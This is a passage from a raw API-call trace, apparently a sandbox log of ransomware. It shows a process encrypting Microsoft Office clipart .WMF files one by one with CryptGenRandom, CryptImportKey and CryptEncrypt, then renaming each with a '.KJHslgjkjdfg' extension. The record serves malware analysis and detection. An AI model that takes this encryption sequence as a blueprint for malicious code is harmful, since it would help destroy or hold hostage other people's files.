ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8f01d600, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xb9e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01680_.WMF", cAlternateFileName="")) returned 1 [0216.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.269] GetProcessHeap () returned 0x2ef0000 [0216.269] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.269] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.269] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.269] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0216.271] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.271] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.271] GetProcessHeap () returned 0x2ef0000 [0216.271] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.271] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.271] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.271] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.271] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.272] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.272] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.272] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.272] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.272] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb9e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb9e, lpOverlapped=0x0) returned 1 [0216.272] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xba0, dwBufLen=0xba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xba0) returned 1 [0216.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.272] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xba0, lpOverlapped=0x0) returned 1 [0216.272] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.272] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.272] SetEndOfFile (hFile=0x130) returned 1 [0216.274] GetProcessHeap () returned 0x2ef0000 [0216.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.275] GetProcessHeap () returned 0x2ef0000 [0216.275] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.275] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01680_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01680_.wmf.kjhslgjkjdfg")) returned 1 [0216.276] CloseHandle (hObject=0x130) returned 1 [0216.276] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8b6e4f00, ftCreationTime.dwHighDateTime=0x1bd4be8, ftLastAccessTime.dwLowDateTime=0x6a370b90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8b6e4f00, ftLastWriteTime.dwHighDateTime=0x1bd4be8, nFileSizeHigh=0x0, nFileSizeLow=0xc88, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01682_.WMF", cAlternateFileName="")) returned 1 [0216.276] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.277] GetProcessHeap () returned 0x2ef0000 [0216.277] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.277] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.277] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.277] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.279] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.279] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.279] GetProcessHeap () returned 0x2ef0000 [0216.279] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.279] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.279] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.279] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.279] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.280] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.280] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.280] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xc88, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xc88, lpOverlapped=0x0) returned 1 [0216.280] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc90, dwBufLen=0xc90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xc90) returned 1 [0216.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.280] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xc90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xc90, lpOverlapped=0x0) returned 1 [0216.280] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.280] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xd64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.280] SetEndOfFile (hFile=0x130) returned 1 [0216.282] GetProcessHeap () returned 0x2ef0000 [0216.283] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.283] GetProcessHeap () returned 0x2ef0000 [0216.283] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.283] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01682_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01682_.wmf.kjhslgjkjdfg")) returned 1 [0216.284] CloseHandle (hObject=0x130) returned 1 [0216.284] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x65da4900, ftCreationTime.dwHighDateTime=0x1bd4bda, ftLastAccessTime.dwLowDateTime=0x594f87d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x65da4900, ftLastWriteTime.dwHighDateTime=0x1bd4bda, nFileSizeHigh=0x0, nFileSizeLow=0x14c4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01701_.WMF", cAlternateFileName="")) returned 1 [0216.284] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.286] GetProcessHeap () returned 0x2ef0000 [0216.286] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.286] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.286] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.286] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0216.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.291] GetProcessHeap () returned 0x2ef0000 [0216.291] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.291] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.291] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.291] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.291] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.291] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.291] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.291] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.292] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x14c4, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x14c4, lpOverlapped=0x0) returned 1 [0216.293] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0, dwBufLen=0x14d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x14d0) returned 1 [0216.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.293] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x14d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x14d0, lpOverlapped=0x0) returned 1 [0216.293] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.293] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x15a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.293] SetEndOfFile (hFile=0x130) returned 1 [0216.295] GetProcessHeap () returned 0x2ef0000 [0216.295] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.296] GetProcessHeap () returned 0x2ef0000 [0216.296] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.296] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01701_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01701_.wmf.kjhslgjkjdfg")) returned 1 [0216.297] CloseHandle (hObject=0x130) returned 1 [0216.297] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x460, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01848_.WMF", cAlternateFileName="")) returned 1 [0216.297] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.298] GetProcessHeap () returned 0x2ef0000 [0216.298] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.298] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.298] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.298] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.298] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.298] GetProcessHeap () returned 0x2ef0000 [0216.298] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0216.298] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0216.298] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.298] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0216.301] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0216.301] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0216.302] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0216.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0216.302] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0216.302] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0216.302] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0216.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.302] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x460, lpOverlapped=0x0) returned 1 [0216.302] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x460, dwBufLen=0x460 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x460) returned 1 [0216.302] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.302] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x460, lpOverlapped=0x0) returned 1 [0216.302] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0216.303] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x534, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0216.303] SetEndOfFile (hFile=0x130) returned 1 [0216.304] GetProcessHeap () returned 0x2ef0000 [0216.305] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0216.305] GetProcessHeap () returned 0x2ef0000 [0216.305] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0216.305] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01848_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01848_.wmf.kjhslgjkjdfg")) returned 1 [0216.307] CloseHandle (hObject=0x130) returned 1 [0216.307] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78964d00, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x6a396cf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x78964d00, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x270, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="NA01849_.WMF", cAlternateFileName="")) returned 1 [0216.307] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\NA01849_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\na01849_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0216.309] GetProcessHeap () returned 0x2ef0000 [0216.309] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0216.309] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0216.309] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0216.309] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, 